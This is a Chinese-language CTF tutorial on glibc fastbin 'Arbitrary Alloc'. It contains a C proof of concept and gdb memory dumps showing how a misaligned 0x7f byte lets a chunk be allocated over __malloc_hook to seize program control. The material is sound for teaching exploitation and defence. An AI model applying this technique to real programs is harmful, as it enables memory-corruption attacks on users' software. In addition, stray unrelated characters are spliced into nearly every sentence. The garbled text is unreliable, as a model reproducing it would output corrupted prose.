介紹
Arbitrary Alloc 其實(shí)與 Alloc to stack 是完全相同的,唯一的區(qū)別是分配的目標(biāo)不再是棧中勿决。 事實(shí)上只要滿足目標(biāo)地址存在合法的 size 域(這個(gè) size 域是構(gòu)造的将塑,還是自然存在的都無妨)禾唁,我們可以把 chunk 分配到任意的可寫內(nèi)存中曙强,比如 bss救湖、heap拣播、data晾咪、stack 等等。
演示
在這個(gè)例子贮配,我們使用字節(jié)錯(cuò)位來實(shí)現(xiàn)直接分配 fastbin 到_malloc_hook 的位置谍倦,相當(dāng)于覆蓋_malloc_hook 來控制程序流程。
int main(void)
{
void *chunk1;
void *chunk_a;
chunk1=malloc(0x60);
free(chunk1);
*(long long *)chunk1=0x7ffff7dd1af5-0x8;
malloc(0x60);
chunk_a=malloc(0x60);
return 0;
}
這里的 0x7ffff7dd1af5 是我根據(jù)本機(jī)的情況得出的值泪勒,這個(gè)值是怎么獲得的呢昼蛀?首先我們要觀察欲寫入地址附近是否存在可以字節(jié)錯(cuò)位的情況。
0x7ffff7dd1a88 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1a90 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1a98 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1aa0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1aa8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ab0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ab8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ac0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ac8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ad0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ad8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ae0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ae8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1b00 0x20 0x2e 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b08 0x0 0x2a 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b10 <__malloc_hook>: 0x30 0x28 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b10 是我們想要控制的 __malloc_hook 的地址圆存,于是我們向上尋找是否可以錯(cuò)位出一個(gè)合法的 size 域叼旋。因?yàn)檫@個(gè)程序是 64 位的,因此 fastbin 的范圍為 32 字節(jié)到 128 字節(jié) (0x20-0x80)沦辙,如下:
//這里的size指用戶區(qū)域夫植,因此要小2倍SIZE_SZ
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]
通過觀察發(fā)現(xiàn) 0x7ffff7dd1af5 處可以現(xiàn)實(shí)錯(cuò)位構(gòu)造出一個(gè) 0x000000000000007f
0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1af5 <_IO_wide_data_0+309>: 0x000000000000007f
因?yàn)?0x7f 在計(jì)算 fastbin index 時(shí),是屬于 index 5 的怕轿,即 chunk 大小為 0x70 的偷崩。
##define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
(注意 sz 的大小是 unsigned int辟拷,因此只占 4 個(gè)字節(jié))
而其大小又包含了 0x10 的 chunk_header,因此我們選擇分配 0x60 的 fastbin阐斜,將其加入鏈表衫冻。 最后經(jīng)過兩次分配可以觀察到 chunk 被分配到 0x7ffff7dd1afd,因此我們就可以直接控制 __malloc_hook 的內(nèi)容 (在我的 libc 中__realloc_hook 與__malloc_hook 是在連在一起的)。
0x4005a8 <main+66> call 0x400450 <malloc@plt>
→ 0x4005ad <main+71> mov QWORD PTR [rbp-0x8], rax
$rax : 0x7ffff7dd1afd
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
總結(jié)
Arbitrary Alloc 在 CTF 中用地更加頻繁。我們可以利用字節(jié)錯(cuò)位等方法來繞過 size 域的檢驗(yàn)盲再,實(shí)現(xiàn)任意地址分配 chunk位岔,最后的效果也就相當(dāng)于任意地址寫任意值。